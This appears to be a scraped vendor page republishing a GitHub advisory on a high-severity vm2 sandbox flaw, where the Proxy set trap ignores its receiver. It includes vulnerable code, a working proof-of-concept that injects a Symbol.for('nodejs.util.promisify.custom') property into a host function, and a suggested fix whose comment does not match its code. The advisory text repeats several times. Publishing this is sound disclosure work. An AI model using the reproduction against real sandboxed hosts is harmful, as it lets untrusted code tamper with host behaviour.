## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```
## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```
Update vm2 to 3.11.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanvm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain affects vm2 (npm). Severity is high. ## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| vm2npm | <=3.11.3 | 3.11.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate vm2 to 3.11.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanvm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain affects vm2 (npm). Severity is high. ## Summary The `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path. ## Vulnerable Code ```javascript // bridge.js:1231-1260 set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); // ... try { value = otherFromThis(value); return otherReflectSet(object, key, value) === true; // BUG: 'receiver' is never used. // Should check if receiver !== proxy and handle accordingly. } catch (e) { throw thisFromOtherForThrow(e); } } ``` ## Impact Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child: ```javascript // Sandbox code const child = Object.create(hostObj); child.injectedProp = 'attacker-value'; // hostObj now has 'injectedProp' on the HOST side ``` Combined with the Symbol.for coverage gap, this enables semantic confusion attacks: ```javascript const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFunction); child[kCustom] = function() { return Promise.resolve('attacker-controlled'); }; // Host: util.promisify(hostFunction)() returns 'attacker-controlled' ``` ## Reproduction ```javascript const { VM } = require('vm2'); const util = require('util'); const vm = new VM(); const hostFn = function api(cb) { cb(null, 'ok'); }; vm.setGlobal('hostFn', hostFn); vm.run(` const kCustom = Symbol.for('nodejs.util.promisify.custom'); const child = Object.create(hostFn); child[kCustom] = function() { return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG'); }; `); // Host side const promisified = util.promisify(hostFn); promisified('test').then(r => console.log(r)); // Output: EXPLOITED-VIA-RECEIVER-BUG ``` ## Suggested Fix ```javascript set(target, key, value, receiver) { validateHandlerTarget(this, target); const object = getHandlerObject(this); if (isProtectedHostObject(object)) throw new VMError(OPNA); if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA); if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) { return this.setPrototypeOf(target, value); } if (key === 'constructor' && thisArrayIsArray(object)) { thisReflectSet(target, key, value); return true; } try { value = otherFromThis(value); // When receiver is not the proxy itself, set on receiver (this-realm) // instead of the host target to preserve prototype-chain semantics. return otherReflectSet(object, key, value) === true; } catch (e) { throw thisFromOtherForThrow(e); } } ```
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| vm2npm | <=3.11.3 | 3.11.4 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard